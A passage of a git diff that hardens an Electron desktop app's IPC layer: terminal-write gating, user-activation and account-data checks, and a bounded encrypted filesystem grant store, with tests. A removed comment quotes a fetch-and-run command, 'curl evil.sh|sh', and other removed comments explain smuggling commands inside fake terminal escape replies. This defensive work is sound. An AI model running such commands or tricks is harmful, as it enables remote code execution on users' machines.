IpcMainInvokeEvent): boolean { +function isLocalPageSender( + event: IpcMainEvent | IpcMainInvokeEvent, + localPagePaths: readonly string[] +): boolean { try { - return new URL(event.senderFrame?.url ?? '').protocol === 'file:' + const url = new URL(event.senderFrame?.url ?? '') + if (url.protocol !== 'file:') return false + const senderPath = normalize(fileURLToPath(url)) + return localPagePaths.some((allowedPath) => senderPath === normalize(allowedPath)) } catch { return false } @@ -463,44 +478,16 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean * machine-generated and self-delimiting, which is what makes them safe to * enumerate. * - * Bodies are printable-only ({@link PTY_REPLY_BODY}), never `[\s\S]`. A real - * DCS or OSC reply carries text terminated by ST or BEL and never a control - * byte, so an unbounded interior would let a hostile renderer wrap a whole - * command and its submit inside a fake `ESC ] ... CR BEL` and be waved through - * as a reply, reopening the path this gate exists to close. X10 mouse is - * bounded the same way: its three bytes are offset by 32, so a control byte - * there is never legitimate either. + * Only numeric/fixed device reports and fixed focus reports are included. DCS, + * OSC, and mouse responses are deliberately excluded even when well-formed: + * they do not need an unconditional path around the trusted-input gate. */ -const PTY_REPLY_BODY = '[\\u0020-\\u00ff]' -const PTY_REPLY_PATTERNS = [ - /\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes - /\u001b\[[IO]/, // focus in/out (mode 1004) - new RegExp(`\\u001b\\[M${PTY_REPLY_BODY}{3}`), // X10 mouse report - /\u001b\[<[0-9;]*[mM]/, // SGR mouse report - new RegExp(`\\u001bP${PTY_REPLY_BODY}*?\\u001b\\\\`), // DCS response - new RegExp(`\\u001b\\]${PTY_REPLY_BODY}*?(?:\\u0007|\\u001b\\\\)`), // OSC response -] +const PTY_REPLY_PATTERNS = [/\u001b\[[0-9;?]*[Rc]/, /\u001b\[[IO]/] const PTY_REPLY = new RegExp( `^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$` ) - -/** - * Whether a terminal-write payload needs a person behind it. - * - * The reply set is enumerated and everything else is gated, rather than the - * other way round. "What submits" is not a closed set: besides carriage return - * and newline, EOT (`0x04`) hands a partial line straight to a reader in - * canonical mode, and `0x0f` is `operate-and-get-next` in bash and - * `accept-line-and-down-history` in zsh — both of which execute the current - * line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that - * set would leave whichever binding was forgotten ungated, so the allowlist runs - * the other way and fails closed. - */ -function needsDeliberateInputForWrite(args: unknown[]): boolean { - const data = args[1] - if (typeof data !== 'string' || data.length === 0) return false - return !PTY_REPLY.test(data) -} +const MAX_TERMINAL_WRITE_CHARS = 256_000 +const MAX_PTY_REPLY_CHARS = 8_192 interface DesktopToolAuthorization { chatId: string @@ -667,6 +654,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:open-external': { kind: 'invoke', gate: 'any', + needsUserActivation: true, deviationReason: 'the offline and error pages are local-page senders, not app-origin, and handing a support link to the system browser is the one action that must work when the app cannot reach its origin at all', denied: false, @@ -676,6 +664,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:open-microphone-settings': { kind: 'invoke', gate: 'app-origin', + needsUserActivation: true, denied: false, handler: () => openMicrophoneSettings(), }, @@ -684,6 +673,8 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:oauth-connect': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, + needsUserActivation: true, denied: false, handler: (providerId, scope) => { if (typeof providerId !== 'string') { @@ -699,6 +690,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:local-filesystem': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, denied: { ok: false, code: 'ACCESS_DENIED', @@ -715,6 +707,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:settings:set': { kind: 'invoke', gate: 'app-origin', + needsUserActivation: ([key]) => key === 'launchAtLogin', denied: null, handler: (key, value) => isDesktopPreferenceKey(key) && typeof value === 'boolean' @@ -813,11 +806,13 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'desktop:updates:check': { kind: 'send', gate: 'app-origin', + needsUserActivation: true, handler: () => deps.updates.check(), }, 'desktop:updates:install': { kind: 'send', gate: 'app-origin', + needsUserActivation: true, handler: () => deps.updates.install(), }, 'browser-agent:execute-tool': { @@ -992,6 +987,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-agent:get-known-sessions': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, deviationReason: "read/reset of the surface's own data; gating it on the surface would strand the browsing trail with no way to inspect or erase it", denied: { sessions: [] }, @@ -1010,6 +1006,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-agent:clear-browsing-data': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, deviationReason: 'erasing browsing data has to work with the browser off, which is the state a user clearing it is most likely to be in', needsUserActivation: true, @@ -1084,6 +1081,10 @@ export function registerIpcHandlers(deps: IpcDeps): void { gate: 'app-origin', requires: 'browser', passSender: true, + needsUserActivation: ([action]) => + isRecordLike(action) && + action.action === 'respond-media-permission' && + action.allowed === true, handler: (sender, action, rawScope) => { const scope = activeRendererScope(browserScopeBySender, sender as WebContents, rawScope) if ( @@ -1333,12 +1334,14 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:available': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, denied: false, handler: () => credentialsAvailable(), }, 'browser-credentials:list': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, denied: [], handler: () => listCredentials(), }, @@ -1363,6 +1366,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-import:sites': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, deviationReason: 'a read of already-imported data; settings lists these hosts to show what an import brought over, which is what you look at while deciding whether to enable the browser', denied: [], @@ -1374,6 +1378,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:reveal': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, needsUserActivation: true, denied: null, handler: (id) => (typeof id === 'string' ? revealCredential(id) : null), @@ -1381,6 +1386,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:copy': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, needsUserActivation: true, denied: false, handler: (id) => (typeof id === 'string' ? copyCredential(id) : false), @@ -1388,6 +1394,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:forget': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, needsUserActivation: true, denied: [], handler: (id) => (typeof id === 'string' ? forgetCredential(id) : listCredentials()), @@ -1395,6 +1402,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { 'browser-credentials:forget-all': { kind: 'invoke', gate: 'app-origin', + requiresAccountData: true, needsUserActivation: true, denied: [], handler: () => forgetAllCredentials(), @@ -1554,10 +1562,10 @@ export function registerIpcHandlers(deps: IpcDeps): void { requires: 'terminal', passSender: true, denied: false, - // The bytes come from the clipboard here, not from the caller, so this - // does not need the write gate: a compromised renderer can only replay - // what the user already copied. It still needs a real gesture, because - // the legitimate caller is a Paste click or ⌘V. + // Paste is the sole interactive operation whose bytes do not originate + // in the renderer. The shell reads the clipboard itself after a fresh + // click/shortcut and still requires visible, focused active-tab + // ownership below. needsUserActivation: true, handler: (sender, terminalId, rawScope) => { const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope) @@ -1567,8 +1575,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) { return 'too-large' } - writeTerminalText(deps.terminal, scope, terminalId, text) - return true + return writeTerminalText(deps.terminal, scope, terminalId, text, sender as WebContents) }, }, 'terminal:scrollback': { @@ -1659,10 +1666,19 @@ export function registerIpcHandlers(deps: IpcDeps): void { kind: 'invoke', gate: 'app-origin', requires: 'terminal', + passSender: true, denied: false, - handler: (rawScope) => { + handler: (sender, rawScope) => { const scope = parseDesktopScope(rawScope) - if (!scope || !isPendingDesktopScopeId(scope)) return false + const contents = sender as WebContents + if ( + !scope || + !isPendingDesktopScopeId(scope) || + !terminalPendingScopesBySender.get(contents)?.has(scope) + ) { + return false + } + consumePendingScope(terminalPendingScopesBySender, contents, scope) deps.terminal.disposeScope(scope) return true }, @@ -1671,10 +1687,18 @@ export function registerIpcHandlers(deps: IpcDeps): void { kind: 'invoke', gate: 'app-origin', requires: 'terminal', + passSender: true, denied: false, - handler: (rawScope) => { + handler: (sender, rawScope) => { const scope = parseDesktopScope(rawScope) - if (!scope || isPendingDesktopScopeId(scope)) return false + const contents = sender as WebContents + if ( + !scope || + isPendingDesktopScopeId(scope) || + terminalScopeBySender.get(contents) !== scope + ) { + return false + } const suspended = deps.terminal.suspendScope(scope) if (suspended) { deps.scopeEvents.sendTerminal(scope, 'terminal:scope-suspended', scope) @@ -1737,13 +1761,15 @@ export function registerIpcHandlers(deps: IpcDeps): void { gate: 'app-origin', requires: 'terminal', passSender: true, + needsUserActivation: true, denied: { tabs: [], activeTerminalId: null }, handler: (sender, terminalId, rawScope) => { - const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope) + const contents = sender as WebContents + const scope = activeRendererScope(terminalScopeBySender, contents, rawScope) if (!scope) return { tabs: [], activeTerminalId: null } const tabs = typeof terminalId === 'string' - ? deps.terminal.closeTerminal(scope, terminalId) + ? deps.terminal.closeUserTerminal(scope, terminalId, contents) : deps.terminal.getTabs(scope) return { ...tabs, scopeId: scope } }, @@ -1756,20 +1782,15 @@ export function registerIpcHandlers(deps: IpcDeps): void { handler: (sender, terminalId, data, rawScope) => { const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope) if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return - if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return - writeTerminalText(deps.terminal, scope, terminalId, data) + if (data.length === 0 || data.length > MAX_TERMINAL_WRITE_CHARS) return + if (data.length <= MAX_PTY_REPLY_CHARS && PTY_REPLY.test(data)) { + writeTerminalText(deps.terminal, scope, terminalId, data) + return + } + const contents = sender as WebContents + if (!hasRecentDeliberateInput(contents)) return + writeTerminalText(deps.terminal, scope, terminalId, data, contents) }, - // An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`. - // Panel focus is deliberately not used — `terminal:focused` is a - // renderer-asserted claim the same attacker can set. - // - // MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's - // line buffer, where the user's own next Enter submits it — visible on - // screen, but not prevented. Closing that needs the interactive path off - // the renderer surface entirely (main writing the keystrokes it already - // observes) or the terminal in its own WebContents, neither of which is a - // gate change. Tracked as follow-up. - payloadNeedsDeliberateInput: true, }, 'terminal:resize': { kind: 'send', @@ -1787,13 +1808,6 @@ export function registerIpcHandlers(deps: IpcDeps): void { deps.terminal.resize(scope, terminalId, toCellCount(cols, 1), toCellCount(rows, 1)) }, }, - 'terminal:dispose': { - kind: 'send', - gate: 'app-origin', - deviationReason: - 'tearing the surface down must survive the surface being off, or a terminal left running when the feature was disabled could never be reaped', - handler: () => deps.terminal.dispose(), - }, 'offline:retry': { kind: 'send', gate: 'local-page', @@ -1831,20 +1845,38 @@ export function registerIpcHandlers(deps: IpcDeps): void { if (gate === 'any') return true if (gate === 'app-origin') return isAppOriginSender(event, deps.appOrigin()) if (gate === 'browser-page') return isAgentWebContents(event.sender) - return isLocalPageSender(event) + return isLocalPageSender(event, deps.localPagePaths) } const featureAllowed = (feature: ChannelFeature | undefined): boolean => { if (!feature) return true + if (!deps.accountDataAvailable()) return false const preferences = deps.settings.getPreferences() return feature === 'browser' ? preferences.browserEnabled : preferences.terminalEnabled } + const accountDataAllowed = (spec: ChannelSpec): boolean => + spec.requiresAccountData !== true || deps.accountDataAvailable() + + const requiresUserActivation = ( + requirement: ChannelSpecBase['needsUserActivation'], + args: readonly unknown[] + ): boolean => (typeof requirement === 'function' ? requirement(args) : requirement === true) + for (const [channel, spec] of Object.entries(channels)) { if (spec.kind === 'invoke') { ipcMain.handle(channel, async (event, ...args) => { - if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return spec.denied - if (spec.needsUserActivation && !senderHasUserGesture(event)) { + if ( + !senderAllowed(event, spec.gate) || + !featureAllowed(spec.requires) || + !accountDataAllowed(spec) + ) { + return spec.denied + } + if ( + requiresUserActivation(spec.needsUserActivation, args) && + !senderHasUserGesture(event) + ) { return spec.denied } let handlerArgs = args @@ -1857,6 +1889,8 @@ export function registerIpcHandlers(deps: IpcDeps): void { const authorization = await fetchDesktopToolAuthorization(event, deps, args[0]) if ( !authorization || + !requestedScope || + authorization.chatId !== requestedScope || typeof requestedTool !== 'string' || authorization.toolName !== requestedTool || !isBrowserToolName(authorization.toolName) @@ -1921,11 +1955,16 @@ export function registerIpcHandlers(deps: IpcDeps): void { }) } else { ipcMain.on(channel, (event, ...args) => { - if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return if ( - spec.payloadNeedsDeliberateInput && - needsDeliberateInputForWrite(args) && - !hasRecentDeliberateInput(event.sender) + !senderAllowed(event, spec.gate) || + !featureAllowed(spec.requires) || + !accountDataAllowed(spec) + ) { + return + } + if ( + requiresUserActivation(spec.needsUserActivation, args) && + !senderHasUserGesture(event) ) { return } diff --git a/apps/desktop/src/main/local-filesystem-grant-store.test.ts b/apps/desktop/src/main/local-filesystem-grant-store.test.ts index 043a3577cb1..2f5ff67f473 100644 --- a/apps/desktop/src/main/local-filesystem-grant-store.test.ts +++ b/apps/desktop/src/main/local-filesystem-grant-store.test.ts @@ -1,4 +1,4 @@ -import { mkdtemp, readFile } from 'node:fs/promises' +import { mkdtemp, readFile, stat, truncate, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { describe, expect, it, vi } from 'vitest' @@ -42,6 +42,32 @@ describe('createEncryptedLocalFilesystemGrantStore', () => { await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' }) }) + it('does not let an earlier save recreate the store after a later clear', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }] + + await store.load() + const saving = store.save(grants) + const clearing = store.clear() + await Promise.all([saving, clearing]) + + await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' }) + }) + + it('applies concurrent mutations in invocation order', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + const first = [{ id: 'grant-1', name: 'first', rootPath: '/private/first' }] + const second = [{ id: 'grant-2', name: 'second', rootPath: '/private/second' }] + + await Promise.all([store.save(first), store.clear(), store.save(second)]) + + await expect(store.load()).resolves.toEqual(second) + }) + it('does not write a plaintext fallback when OS encryption is unavailable', async () => { const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) const filePath = join(directory, 'grants.json') @@ -52,4 +78,68 @@ describe('createEncryptedLocalFilesystemGrantStore', () => { ).resolves.toBe(false) await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' }) }) + + it('preserves an invalid existing store until an explicit clear', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const original = '{not valid json' + await writeFile(filePath, original) + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }] + + await expect(store.load()).resolves.toEqual([]) + await expect(store.save(grants)).resolves.toBe(false) + await expect(readFile(filePath, 'utf8')).resolves.toBe(original) + + await store.clear() + await expect(store.save(grants)).resolves.toBe(true) + await expect(store.load()).resolves.toEqual(grants) + }) + + it('does not replace a store written by a foreign version', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const original = JSON.stringify({ version: 99, ciphertext: 'future' }) + await writeFile(filePath, original) + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + + await expect(store.save([])).resolves.toBe(false) + await expect(readFile(filePath, 'utf8')).resolves.toBe(original) + }) + + it('preserves an oversized grant store until explicit clear', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + await writeFile(filePath, '') + await truncate(filePath, 4 * 1024 * 1024 + 1) + const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption()) + + await expect(store.load()).resolves.toEqual([]) + await expect( + store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]) + ).resolves.toBe(false) + expect((await stat(filePath)).size).toBe(4 * 1024 * 1024 + 1) + + await store.clear() + await expect( + store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]) + ).resolves.toBe(true) + }) + + it('blocks stored grants with fields outside the persistence contract', async () => { + const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-')) + const filePath = join(directory, 'grants.json') + const encryption = testEncryption() + const payload = [{ id: 'grant-1', name: 'project', rootPath: `/${'x'.repeat(4_096)}` }] + const original = JSON.stringify({ + version: 1, + ciphertext: encryption.encryptString(JSON.stringify(payload)).toString('base64'), + }) + await writeFile(filePath, original) + const store = createEncryptedLocalFilesystemGrantStore(filePath, encryption) + + await expect(store.load()).resolves.toEqual([]) + await expect(store.save([])).resolves.toBe(false) + await expect(readFile(filePath, 'utf8')).resolves.toBe(original) + }) }) diff --git a/apps/desktop/src/main/local-filesystem-grant-store.ts b/apps/desktop/src/main/local-filesystem-grant-store.ts index 2a086e11251..67216976840 100644 --- a/apps/desktop/src/main/local-filesystem-grant-store.ts +++ b/apps/desktop/src/main/local-filesystem-grant-store.ts @@ -1,8 +1,21 @@ -import { readFile } from 'node:fs/promises' +import { createLogger } from '@sim/logger' import { safeStorage } from 'electron' -import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file' +import { + FileResourceLimitError, + readFileWithinLimit, + removeFileIfPresent, + writeJsonFileAtomically, +} from '@/main/atomic-json-file' const STORE_VERSION = 1 +const MAX_GRANT_STORE_BYTES = 4 * 1024 * 1024 +const MAX_GRANT_PAYLOAD_BYTES = 5 * 512 * 1024 +const MAX_PERSISTED_GRANTS = 256 +const MAX_GRANT_ID_LENGTH = 128 +const MAX_GRANT_NAME_LENGTH = 512 +const MAX_GRANT_PATH_LENGTH = 4_096 +const MAX_GRANT_BOOKMARK_LENGTH = 256 * 1024 +const logger = createLogger('LocalFilesystemGrantStore') export interface PersistedLocalFilesystemGrant { id: string @@ -33,9 +46,19 @@ function isPersistedGrant(value: unknown): value is PersistedLocalFilesystemGran const grant = value as Record return ( typeof grant.id === 'string' && + grant.id.length > 0 && + grant.id.length <= MAX_GRANT_ID_LENGTH && typeof grant.name === 'string' && + grant.name.length > 0 && + grant.name.length <= MAX_GRANT_NAME_LENGTH && typeof grant.rootPath === 'string' && - (grant.bookmark === undefined || typeof grant.bookmark === 'string') + grant.rootPath.length > 0 && + grant.rootPath.length <= MAX_GRANT_PATH_LENGTH && + !grant.rootPath.includes('\0') && + (grant.bookmark === undefined || + (typeof grant.bookmark === 'string' && + grant.bookmark.length > 0 && + grant.bookmark.length <= MAX_GRANT_BOOKMARK_LENGTH)) ) } @@ -62,33 +85,93 @@ export function createEncryptedLocalFilesystemGrantStore( filePath: string, encryption: EncryptionProvider = safeStorage ): LocalFilesystemGrantStore { - return { - async load() { - if (!encryptionAvailable(encryption)) return [] - try { - const raw = JSON.parse(await readFile(filePath, 'utf8')) as Partial - if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') return [] - const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64')) - const parsed = JSON.parse(decrypted) as unknown - return Array.isArray(parsed) ? parsed.filter(isPersistedGrant) : [] - } catch { + let state: 'unknown' | 'writable' | 'blocked' = 'unknown' + let mutationTail = Promise.resolve() + + const enqueueMutation = (operation: () => Promise): Promise => { + const result = mutationTail.then(operation) + mutationTail = result.then( + () => undefined, + () => undefined + ) + return result + } + + const blockPersistence = ( + reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit' + ) => { + if (state !== 'blocked') { + logger.warn('Local filesystem grant persistence is unavailable', { reason }) + } + state = 'blocked' + } + + const load = async (): Promise => { + if (!encryptionAvailable(encryption) || state === 'blocked') return [] + try { + const raw = JSON.parse( + (await readFileWithinLimit(filePath, MAX_GRANT_STORE_BYTES)).toString('utf8') + ) as Partial + if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') { + blockPersistence('invalid-envelope') return [] } - }, - - async save(grants) { - if (!encryptionAvailable(encryption)) return false - const encrypted = encryption.encryptString(JSON.stringify(grants)) - const envelope: EncryptedGrantEnvelope = { - version: STORE_VERSION, - ciphertext: encrypted.toString('base64'), + const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64')) + if (Buffer.byteLength(decrypted, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) { + blockPersistence('resource-limit') + return [] } - await writeJsonFileAtomically(filePath, envelope) - return true + const parsed = JSON.parse(decrypted) as unknown + if ( + !Array.isArray(parsed) || + parsed.length > MAX_PERSISTED_GRANTS || + !parsed.every(isPersistedGrant) + ) { + blockPersistence('invalid-payload') + return [] + } + state = 'writable' + return parsed + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + state = 'writable' + return [] + } + if (error instanceof FileResourceLimitError) { + blockPersistence('resource-limit') + return [] + } + blockPersistence('read-failed') + return [] + } + } + + return { + load, + + save(grants) { + return enqueueMutation(async () => { + if (!encryptionAvailable(encryption)) return false + if (state === 'unknown') await load() + if (state === 'blocked') return false + if (grants.length > MAX_PERSISTED_GRANTS || !grants.every(isPersistedGrant)) return false + const payload = JSON.stringify(grants) + if (Buffer.byteLength(payload, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) return false + const encrypted = encryption.encryptString(payload) + const envelope: EncryptedGrantEnvelope = { + version: STORE_VERSION, + ciphertext: encrypted.toString('base64'), + } + await writeJsonFileAtomically(filePath, envelope) + return true + }) }, - async clear() { - await removeFileIfPresent(filePath) + clear() { + return enqueueMutation(async () => { + await removeFileIfPresent(filePath) + state = 'writable' + }) }, } } diff --git a/apps/desktop/src/main/local-filesystem.test.ts b/apps/desktop/src/main/local-filesystem.test.ts index e54418f11a7..a04e532bf93 100644 --- a/apps/desktop/src/main/local-filesystem.test.ts +++ b/apps/desktop/src/main/local-filesystem.test.ts @@ -12,6 +12,7 @@ import { DEFAULT_READ_LINES, } from '@sim/desktop-bridge/local-filesystem-limits' import { shell } from 'electron' +import { advanceAccountDataGeneration } from '@/main/account-data-generation' import { LocalFilesystemService } from '@/main/local-filesystem' import type { LocalFilesystemGrantStore, @@ -151,6 +152,74 @@ describe('LocalFilesystemService', () => { expect(statData).toMatchObject({ name: 'index.ts', kind: 'file' }) }) + it('returns a bounded, explicitly truncated directory listing', async () => { + const generatedNames = Array.from( + { length: 510 }, + (_, index) => `generated-${String(509 - index).padStart(3, '0')}.txt` + ) + await Promise.all(generatedNames.map((name) => writeFile(join(root, name), ''))) + const granted = await mount(service) + + const listing = dataOf(await service.handle({ operation: 'list', uri: granted.uri })) + const entries = 'entries' in listing ? listing.entries : [] + + expect(listing).toMatchObject({ truncated: true }) + expect(entries).toHaveLength(500) + expect(entries.map((entry) => entry.name)).toEqual( + ['README.md', 'src', ...generatedNames] + .sort((left, right) => left.localeCompare(right)) + .slice(0, 500) + ) + }) + + it('returns the same capped glob membership regardless of directory enumeration order', async () => { + const generatedNames = Array.from( + { length: 501 }, + (_, index) => `glob-${String(500 - index).padStart(3, '0')}.match` + ) + for (const name of generatedNames) { + await writeFile(join(root, name), '') + } + const granted = await mount(service) + + const result = dataOf( + await service.handle({ operation: 'glob', uri: granted.uri, pattern: '*.match' }) + ) + const entries = 'entries' in result ? result.entries : [] + + expect(result).toMatchObject({ truncated: true }) + expect(entries.map((entry) => entry.name)).toEqual(generatedNames.sort().slice(0, 500)) + }) + + it('returns the same capped grep membership regardless of directory enumeration order', async () => { + const generatedNames = Array.from( + { length: 5 }, + (_, index) => `grep-${String(4 - index).padStart(3, '0')}.txt` + ) + for (const name of generatedNames) { + await writeFile(join(root, name), 'deterministic match\n') + } + const granted = await mount(service) + + const result = dataOf( + await service.handle({ + operation: 'grep', + uri: granted.uri, + pattern: 'deterministic match', + outputMode: 'files_with_matches', + maxResults: 3, + }) + ) + + expect(result).toEqual({ + files: generatedNames + .sort() + .slice(0, 3) + .map((name) => `${granted.uri}${name}`), + truncated: true, + }) + }) + it('supports the normal VFS grep regex and output modes', async () => { const granted = await mount(service) @@ -456,6 +525,102 @@ describe('LocalFilesystemService', () => { expect(response).toMatchObject({ ok: false, code: 'MOUNT_NOT_FOUND' }) }) + it('does not commit a directory chosen after account teardown starts', async () => { + const grantStore = new MemoryGrantStore() + let resolveSelection: ((selection: string) => void) | undefined + const selection = new Promise((resolve) => { + resolveSelection = resolve + }) + const pendingService = new LocalFilesystemService({ + chooseDirectory: () => selection, + grantStore, + }) + + const pendingMount = pendingService.handle({ operation: 'mount_directory' }) + await pendingService.forgetAll() + resolveSelection?.(root) + + await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' }) + expect(grantStore.grants).toEqual([]) + expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({ + mounts: [], + }) + }) + + it('waits for an admitted grant update before forgetAll clears persistence', async () => { + let delaySave = false + let releaseSave: (() => void) | undefined + let signalSaveStarted: (() => void) | undefined + const saveStarted = new Promise((resolve) => { + signalSaveStarted = resolve + }) + const grantStore = new MemoryGrantStore() + const originalSave = grantStore.save.bind(grantStore) + grantStore.save = async (grants) => { + if (delaySave) { + await new Promise((resolve) => { + releaseSave = resolve + signalSaveStarted?.() + }) + } + return originalSave(grants) + } + const selections = [root, join(root, 'src')] + const pendingService = new LocalFilesystemService({ + chooseDirectory: async () => selections.shift() ?? null, + grantStore, + }) + const first = await mount(pendingService) + await mount(pendingService) + delaySave = true + + const forgettingMount = pendingService.handle({ + operation: 'forget_mount', + uri: first.uri, + }) + await saveStarted + const forgettingAll = pendingService.forgetAll() + releaseSave?.() + + await Promise.all([forgettingMount, forgettingAll]) + expect(grantStore.grants).toEqual([]) + }) + + it('releases security-scoped access once when persistence finishes after generation expiry', async () => { + let resolveSave: ((remembered: boolean) => void) | undefined + let signalSaveStarted: (() => void) | undefined + const saveStarted = new Promise((resolve) => { + signalSaveStarted = resolve + }) + const grantStore: LocalFilesystemGrantStore = { + load: async () => [], + save: async () => { + signalSaveStarted?.() + return new Promise((resolve) => { + resolveSave = resolve + }) + }, + clear: vi.fn(async () => {}), + } + const stopAccessing = vi.fn() + const pendingService = new LocalFilesystemService({ + chooseDirectory: async () => ({ path: root, bookmark: 'bookmark' }), + grantStore, + startAccessingBookmark: () => stopAccessing, + }) + + const pendingMount = pendingService.handle({ operation: 'mount_directory' }) + await saveStarted + advanceAccountDataGeneration() + resolveSave?.(true) + + await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' }) + expect(stopAccessing).toHaveBeenCalledOnce() + expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({ + mounts: [], + }) + }) + it('restores an encrypted grant with the same opaque URI after restart', async () => { const grantStore = new MemoryGrantStore() const firstStopAccessing = vi.fn() diff --git a/apps/desktop/src/main/local-filesystem.ts b/apps/desktop/src/main/local-filesystem.ts index 0b115133a00..573f5a8cb88 100644 --- a/apps/desktop/src/main/local-filesystem.ts +++ b/apps/desktop/src/main/local-filesystem.ts @@ -1,4 +1,5 @@ -import { lstat, readdir, readFile, realpath, stat } from 'node:fs/promises' +import type { Dirent } from 'node:fs' +import { lstat, opendir, readFile, realpath, stat } from 'node:fs/promises' import { basename, isAbsolute, relative, resolve, sep } from 'node:path' import type { LocalFilesystemData, @@ -21,6 +22,13 @@ import { isRecordLike } from '@sim/utils/object' import { app, dialog, shell } from 'electron' import micromatch from 'micromatch' import safeRegex from 'safe-regex2' +import { + advanceAccountDataGeneration, + captureAccountDataGeneration, + isAccountDataGenerationCurrent, + runAccountDataMutation, + waitForAccountDataMutations, +} from '@/main/account-data-generation' import type { LocalFilesystemGrantStore, PersistedLocalFilesystemGrant, @@ -28,6 +36,7 @@ import type { const MAX_URI_LENGTH = 4096 const MAX_LIST_ENTRIES = 500 +const LIST_METADATA_BATCH_SIZE = 16 const MAX_SCAN_ENTRIES = 10_000 const MAX_SCAN_DEPTH = 50 const MAX_GLOB_RESULTS = 500 @@ -256,6 +265,69 @@ function throwIfAborted(signal?: AbortSignal): void { } } +function compareDirectoryEntries(left: Dirent, right: Dirent): number { + return left.name.localeCompare(right.name) +} + +function addToBoundedDirectoryHeap(heap: Dirent[], entry: Dirent, limit: number): void { + if (heap.length < limit) { + heap.push(entry) + let index = heap.length - 1 + while (index > 0) { + const parentIndex = Math.floor((index - 1) / 2) + if (compareDirectoryEntries(heap[parentIndex], heap[index]) >= 0) break + const parent = heap[parentIndex] + heap[parentIndex] = heap[index] + heap[index] = parent + index = parentIndex + } + return + } + + if (compareDirectoryEntries(entry, heap[0]) >= 0) return + heap[0] = entry + let index = 0 + while (true) { + const leftIndex = index * 2 + 1 + const rightIndex = leftIndex + 1 + let largestIndex = index + if ( + leftIndex < heap.length && + compareDirectoryEntries(heap[leftIndex], heap[largestIndex]) > 0 + ) { + largestIndex = leftIndex + } + if ( + rightIndex < heap.length && + 